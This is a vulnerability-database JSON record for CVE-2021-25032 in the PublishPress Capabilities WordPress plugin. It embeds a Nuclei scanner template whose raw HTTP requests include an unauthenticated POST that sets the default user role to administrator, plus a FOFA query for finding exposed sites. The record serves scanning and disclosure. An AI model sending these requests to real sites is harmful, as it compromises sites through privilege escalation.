{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2021-25032/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2021-25032/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2021-25032/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2021-25032/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2021-25032/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2021-25032"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2021-25032"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2021/CVE-2021-25032.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2021-25032\n\ninfo:\n  name: PublishPress Capabilities < 2.3.1 - Missing Authorization\n  author: ritikchaddha\n  severity: critical\n  description: |\n    The PublishPress Capabilities plugin for WordPress before 2.3.1 does not have proper authorization and CSRF checks when updating settings via the init hook, allowing unauthenticated attackers to update arbitrary blog options, such as setting the default role to administrator.\n  impact: |\n    Unauthenticated attackers can update arbitrary WordPress options including setting the default user role to administrator, leading to complete site compromise through privilege escalation.\n  remediation: |\n    Update the PublishPress Capabilities plugin to version 2.3.1 or later.\n  reference:\n    - https://wpscan.com/vulnerability/2f0f1a32-0c7a-48e6-8617-e0b2dcf62727/\n    - https://plugins.trac.wordpress.org/changeset/2640161\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-25032\n    - https://github.com/RandomRobbieBF/CVE-2021-25032\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2021-25032\n    cwe-id: CWE-352\n    epss-score: 0.07069\n    epss-percentile: 0.94231\n    cpe: cpe:2.3:a:publishpress:capabilities:*:*:*:*:-:wordpress:*:*\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: publishpress\n    product: capabilities\n    framework: wordpress\n    fofa-query: body=\"/wp-content/plugins/capability-manager-enhanced\"\n  tags: wpscan,cve,cve2021,wordpress,wp-plugin,wp,capability-manager-enhanced,authenticated,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /wp-admin/admin.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded; charset=UTF-8\n        X-Requested-With: XMLHttpRequest\n\n        page=pp-capabilities-settings&all_options=default_role&default_role=administrator\n\n      - |\n        POST /wp-login.php?redirect_to=http%3A%2F%2F{{Hostname}}%2Fwp-admin%2Foptions-general.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        log={{username}}&pwd={{password}}&wp-submit=Log+In\n\n      - |\n        GET /wp-admin/admin.php?page=pp-capabilities HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body_3\n        words:\n          - \"selected'> Administrator\"\n\n      - type: status\n        status:\n          - 200\n# digest: 490a0046304402205f2249dbd5ab05d2f38633c267728eb910e275db225d74241c082272c71d3e0502204ccea30f4a691983e4f9039238c6792f03ef705b22b5a4551e92720ac8fc6115:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2021-25032"
}